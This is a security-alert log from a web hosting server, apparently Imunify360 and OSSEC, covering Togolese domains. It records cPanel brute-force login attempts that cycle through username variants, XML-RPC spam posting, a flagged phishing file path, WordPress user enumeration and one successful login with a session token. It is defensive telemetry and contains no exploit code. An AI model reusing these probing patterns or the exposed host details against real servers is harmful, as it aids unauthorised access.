[2026-06-27 01:59:23 +0000] info [cpaneld] 41.92.105.200 - sococ "GET /login/?login_only=1&user=sococ&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sococ (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 201.239.62.216
country_id: 3895114
description:
[2026-06-27 01:59:31 +0000] info [cpaneld] 201.239.62.216 - soc "GET /login/?login_only=1&user=soc&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user soc (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 152.202.147.245
country_id: 3686110
description:
[2026-06-27 01:59:36 +0000] info [cpaneld] 152.202.147.245 - so "GET /login/?login_only=1&user=so&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user so (has_cpuser_file failed)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 171.76.106.5
country_id: 1269750
domain: sp-eau.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.sp-eau.tg||ServerName:sp-eau.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e18eae58207a91493684c19a77c935bab5ca176a||Title:utxrgzn1rifbmz||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.25.18.169
country_id: 3932488
description:
[2026-06-27 02:01:58 +0000] info [cpaneld] 38.25.18.169 - anr "GET /login/?login_only=1&user=anr&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user anr (has_cpuser_file failed)


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.153.26
country_id: 2635167
domain: delxia.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/zykoahbv/public_html/.503007409504930.php||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.165.179.17
country_id: 3469034
description:
[2026-06-27 02:01:41 +0000] info [cpaneld] 45.165.179.17 - anrtogo "GET /login/?login_only=1&user=anrtogo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user anrtogo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 132.255.112.116
country_id: 3865483
description:
[2026-06-27 02:01:37 +0000] info [cpaneld] 132.255.112.116 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 125.165.154.131
country_id: 1643084
description:
[2026-06-27 02:01:48 +0000] info [cpaneld] 125.165.154.131 - anrtog "GET /login/?login_only=1&user=anrtog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user anrtog (has_cpuser_file failed)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.64.100
country_id: 3017382
description:
[2026-06-27 02:01:24 +0000] info [cpaneld] 5.231.64.100 NEW zykoahbv:4XQbYCabh8BhFH0T address=5.231.64.100,app=cpaneld,creator=zykoahbv,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 118.179.124.106
country_id: 1210997
description:
[2026-06-27 02:01:45 +0000] info [cpaneld] 118.179.124.106 - anrtogotg "GET /login/?login_only=1&user=anrtogotg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user anrtogotg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 105.188.61.167
country_id: 2542007
description:
[2026-06-27 02:01:51 +0000] info [cpaneld] 105.188.61.167 - anrto "GET /login/?login_only=1&user=anrto&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user anrto (has_cpuser_file failed)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 171.76.106.5
country_id: 1269750
domain: sp-eau.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.sp-eau.tg||ServerName:sp-eau.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:dd09bf69f47c637b488202eb23c018143b0049e4||Title:cryca5k6zcllaq6l8||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 171.76.106.5
country_id: 1269750
domain: sp-eau.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.sp-eau.tg||ServerName:sp-eau.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:5bdb3494ffee3b7cc8dd0cbbfe40b8c602e5b04d||Title:y6ubtgj1qya80y99in||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 171.76.106.5
country_id: 1269750
domain: sp-eau.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.sp-eau.tg||ServerName:sp-eau.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:2f46b031c03c7fc907b69d7e8bc58dd7138e50ae||Title:0k7qjgg7lizcvw||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 45.175.70.82
country_id: 3508796
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:it-team.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:9d5755b07189dd23ef4875f4e0001ad75d99fa40||Title:vc0lb6zytz0uni||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 171.76.106.5
country_id: 1269750
domain: sp-eau.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.sp-eau.tg||ServerName:sp-eau.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:1f261914b53b1522ce3ea511c62c48fd2971c35f||Title:ddy4eegtilfvnyq5||RSV:8.21||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.176.212
country_id: 1880251
description:
43.173.176.212 - - [27/Jun/2026:02:06:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6909026&pdata=https%253A%252F%252F24heureinfo.tg%252Ftag%252Fpays-bas%252Ffeed&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782525966 HTTP/1.1" 404 561 24heureinfo.tg "https://24heureinfo.tg/tag/pays-bas/feed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.176.212


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 171.76.106.5
country_id: 1269750
domain: sp-eau.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.sp-eau.tg||ServerName:sp-eau.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:401fbc6df1f1f02e8788ed03ca3f57c1db014ca3||Title:1xe81s90b5oqlvlk||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 45.175.70.82
country_id: 3508796
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:it-team.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:bf0d7eb2f8734af086754fea19d66fb75391488f||Title:r8knuv2ocbhbluw||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 205.169.39.21
country_id: 6252001
domain: cafe.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/127.0.6533.119 Safari/537.36||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.244.84.22
country_id: 3996063
description:
[2026-06-27 02:07:09 +0000] info [cpaneld] 177.244.84.22 - conforti "GET /login/?login_only=1&user=conforti&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user conforti (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.185.18.205
country_id: 3469034
description:
[2026-06-27 02:07:12 +0000] info [cpaneld] 45.185.18.205 - confort "GET /login/?login_only=1&user=confort&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user confort (has_cpuser_file failed)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 45.175.70.82
country_id: 3508796
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:it-team.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:3c9e3f2e09b61b1e19c4293cc6523e4dad0da362||Title:ga0z4yf9ybaqdi||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 171.76.106.5
country_id: 1269750
domain: sp-eau.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.sp-eau.tg||ServerName:sp-eau.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:1e643593be8cb3a47cfd80292113323b833e2f66||Title:8f9j7tbumy2qnfo||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.25.58.215
country_id: 3932488
description:
[2026-06-27 02:06:54 +0000] info [cpaneld] 38.25.58.215 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 59.153.16.42
country_id: 1210997
description:
[2026-06-27 02:07:13 +0000] info [cpaneld] 59.153.16.42 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.243.40.225
country_id: 3996063
description:
[2026-06-27 02:07:19 +0000] info [cpaneld] 187.243.40.225 - zephyr "GET /login/?login_only=1&user=zephyr&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user zephyr (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 67.254.177.203
country_id: 6252001
description:
[2026-06-27 02:07:17 +0000] info [cpaneld] 67.254.177.203 - confo "GET /login/?login_only=1&user=confo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user confo (has_cpuser_file failed)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 171.76.106.5
country_id: 1269750
domain: sp-eau.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.sp-eau.tg||ServerName:sp-eau.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:0e985d85daf59931404f8af37d5fb66870504df2||Title:adx2ldvbgwh559||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.114.37.13
country_id: 3895114
description:
[2026-06-27 02:07:27 +0000] info [cpaneld] 190.114.37.13 - con "GET /login/?login_only=1&user=con&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user con (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.135.77.225
country_id: 1210997
description:
[2026-06-27 02:07:26 +0000] info [cpaneld] 103.135.77.225 - zephy "GET /login/?login_only=1&user=zephy&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user zephy (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 175.145.218.92
country_id: 1733045
description:
[2026-06-27 02:07:37 +0000] info [cpaneld] 175.145.218.92 - ze "GET /login/?login_only=1&user=ze&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ze (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 92.208.188.162
country_id: 2921044
description:
[2026-06-27 02:08:05 +0000] info [cpaneld] 92.208.188.162 - togoca "GET /login/?login_only=1&user=togoca&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoca (has_cpuser_file failed)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 45.175.70.82
country_id: 3508796
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:it-team.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:4efc10b302e5973a484ba8f4eb59ec834337667d||Title:4mk78aty7u6drqzxod||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 191.242.39.251
country_id: 3469034
description:
[2026-06-27 02:07:23 +0000] info [cpaneld] 191.242.39.251 - conf "GET /login/?login_only=1&user=conf&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user conf (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 201.74.153.55
country_id: 3469034
description:
[2026-06-27 02:07:40 +0000] info [cpaneld] 201.74.153.55 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 179.25.6.65
country_id: 3439705
description:
[2026-06-27 02:07:45 +0000] info [cpaneld] 179.25.6.65 - togocarrieretsevie "GET /login/?login_only=1&user=togocarrieretsevie&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togocarrieretsevie (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.124.137.103
country_id: 3865483
description:
[2026-06-27 02:07:48 +0000] info [cpaneld] 186.124.137.103 - togocarrieretsevietg "GET /login/?login_only=1&user=togocarrieretsevietg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togocarrieretsevietg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 104.175.39.222
country_id: 6252001
description:
[2026-06-27 02:07:55 +0000] info [cpaneld] 104.175.39.222 - togocarri "GET /login/?login_only=1&user=togocarri&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togocarri (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 201.218.157.185
country_id: 3932488
description:
[2026-06-27 02:07:51 +0000] info [cpaneld] 201.218.157.185 - togocarrie "GET /login/?login_only=1&user=togocarrie&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togocarrie (has_cpuser_file failed)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 171.76.106.5
country_id: 1269750
domain: sp-eau.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.sp-eau.tg||ServerName:sp-eau.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:98dbdb9023dada30caf5faee124392ab4c1ad270||Title:9jvx9onyaruvyc65||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 194.11.197.159
country_id: 3017382
description:
[2026-06-27 02:08:22 +0000] info [cpaneld] 194.11.197.159 - soroubat "GET /login/?login_only=1&user=soroubat&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user soroubat (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 159.0.151.153
country_id: 102358
description:
[2026-06-27 02:08:15 +0000] info [cpaneld] 159.0.151.153 - tog "GET /login/?login_only=1&user=tog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tog (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.0.63.162
country_id: 3686110
description:
[2026-06-27 02:08:17 +0000] info [cpaneld] 186.0.63.162 - to "GET /login/?login_only=1&user=to&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user to (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.107.246.233
country_id: 290557
description:
[2026-06-27 02:08:32 +0000] info [cpaneld] 5.107.246.233 - soroub "GET /login/?login_only=1&user=soroub&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user soroub (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.193.56.202
country_id: 3469034
description:
[2026-06-27 02:08:36 +0000] info [cpaneld] 186.193.56.202 - sorou "GET /login/?login_only=1&user=sorou&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sorou (has_cpuser_file failed)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 45.175.70.82
country_id: 3508796
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:it-team.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:d4eee4ac161bcbcb9b8e436d95f968d8e34f8008||Title:0qfffw31i34kuzyzzj||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 171.250.162.157
country_id: 1562822
description:
[2026-06-27 02:08:42 +0000] info [cpaneld] 171.250.162.157 - soro "GET /login/?login_only=1&user=soro&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user soro (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 154.125.22.81
country_id: 2245662
description:
[2026-06-27 02:08:19 +0000] info [cpaneld] 154.125.22.81 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.74.73.115
country_id: 3469034
description:
[2026-06-27 02:08:50 +0000] info [cpaneld] 177.74.73.115 - so "GET /login/?login_only=1&user=so&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user so (has_cpuser_file failed)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 171.76.106.5
country_id: 1269750
domain: sp-eau.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.sp-eau.tg||ServerName:sp-eau.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:0e1bd4e5aa1d469f826195b2ad4b7777b5f8420e||Title:4wr0ltp3irh9ec6o1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 45.175.70.82
country_id: 3508796
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:it-team.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:9eca5baa2139b76349fcdd39fc861dc9dcd8c850||Title:x60o3h0s5s55ik||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.125.231.211
country_id: 6252001
description:
[2026-06-27 02:09:46 +0000] info [whostmgrd] 73.125.231.211 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 203.9.211.20
country_id: 1282988
description:
[2026-06-27 02:11:00 +0000] info [cpaneld] 203.9.211.20 - ekinamag "GET /login/?login_only=1&user=ekinamag&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ekinamag (has_cpuser_file failed)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 45.175.70.82
country_id: 3508796
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:it-team.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:a31e9630167fbb2bd1694d53bd90ffd4d28dd37a||Title:eaacol2jgng3xl1ahw||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 171.76.106.5
country_id: 1269750
domain: sp-eau.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.sp-eau.tg||ServerName:sp-eau.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:7de99bab9fd6b64c4cfaa8ad68c99f85fb668d9b||Title:nzmjz4oyee1rm2||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 179.6.17.227
country_id: 3932488
description:
[2026-06-27 02:10:55 +0000] info [cpaneld] 179.6.17.227 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.178.211.22
country_id: 3469034
description:
[2026-06-27 02:11:04 +0000] info [cpaneld] 45.178.211.22 - ekinamagtg "GET /login/?login_only=1&user=ekinamagtg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ekinamagtg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.190.132.218
country_id: 1210997
description:
[2026-06-27 02:11:15 +0000] info [cpaneld] 103.190.132.218 - ekinam "GET /login/?login_only=1&user=ekinam&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ekinam (has_cpuser_file failed)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 171.76.106.5
country_id: 1269750
domain: sp-eau.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.sp-eau.tg||ServerName:sp-eau.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:2112998f624bdf474dbddb0c8e22c129feef3ef7||Title:8f8p7zexirxeu8||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 45.175.70.82
country_id: 3508796
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:it-team.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:16ca706e37302bdb56707f3c234029dcb22353c8||Title:kzt3h08q8rfeis9ww||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.33.217.80
country_id: 3469034
description:
[2026-06-27 02:11:32 +0000] info [cpaneld] 187.33.217.80 - ek "GET /login/?login_only=1&user=ek&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ek (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 174.140.16.152
country_id: 102358
description:
[2026-06-27 02:11:19 +0000] info [cpaneld] 174.140.16.152 - ekina "GET /login/?login_only=1&user=ekina&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ekina (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.43.150.190
country_id: 3895114
description:
[2026-06-27 02:11:23 +0000] info [cpaneld] 181.43.150.190 - ekin "GET /login/?login_only=1&user=ekin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ekin (has_cpuser_file failed)


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 43.135.145.117
country_id: 6252001
domain: vitrinenews.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.21||T:APACHE||MV:/wp-json/wp/v2/users/2||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 45.175.70.82
country_id: 3508796
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:it-team.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:4832a22c0fd67cf0b435a977224f9a1cf06a5a88||Title:uf8hnxcmjpfcjp4n||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 171.76.106.5
country_id: 1269750
domain: sp-eau.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.sp-eau.tg||ServerName:sp-eau.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:7309a6e79f85a84a15642b06faa99835771135fc||Title:jrg22k4eitd08epx0l||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 45.175.70.82
country_id: 3508796
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:it-team.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:4975d4ea5bdfaeaa11a77a1b7f5a159563192a45||Title:projx0san5f7heyc||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 171.76.106.5
country_id: 1269750
domain: sp-eau.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.sp-eau.tg||ServerName:sp-eau.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:cf1a76119a24cd708557b6df7bb9da9b30817a4e||Title:1le4kl67btr2p38wsa||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 45.175.70.82
country_id: 3508796
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:it-team.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:96964e697e1a537bf1c77ee29a5c39fcb869f3c4||Title:2ttlocbcr1j9kz||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 171.76.106.5
country_id: 1269750
domain: sp-eau.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.sp-eau.tg||ServerName:sp-eau.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:3e3814a17ccb28fa8c36d799a16db88af01ae818||Title:1nw3zx2jil8d85g2uq||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 171.76.106.5
country_id: 1269750
domain: sp-eau.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.sp-eau.tg||ServerName:sp-eau.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:ffc8e53e3fdd0912ebf52b1e8e80994d606aa7e5||Title:vnu6sbwh7ltxh3k5yu||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 45.175.70.82
country_id: 3508796
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:it-team.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:6b010dd7ccdaddac4770e9fde362b9e60a12c9dc||Title:8fk8wrpuz3ke8msh4j||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 45.175.70.82
country_id: 3508796
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:it-team.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:83c0baf75acce913f9f4f79788b3b52b5270e488||Title:o5p2hwxxyyuyv6d6jb||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 171.76.106.5
country_id: 1269750
domain: sp-eau.tg
description:
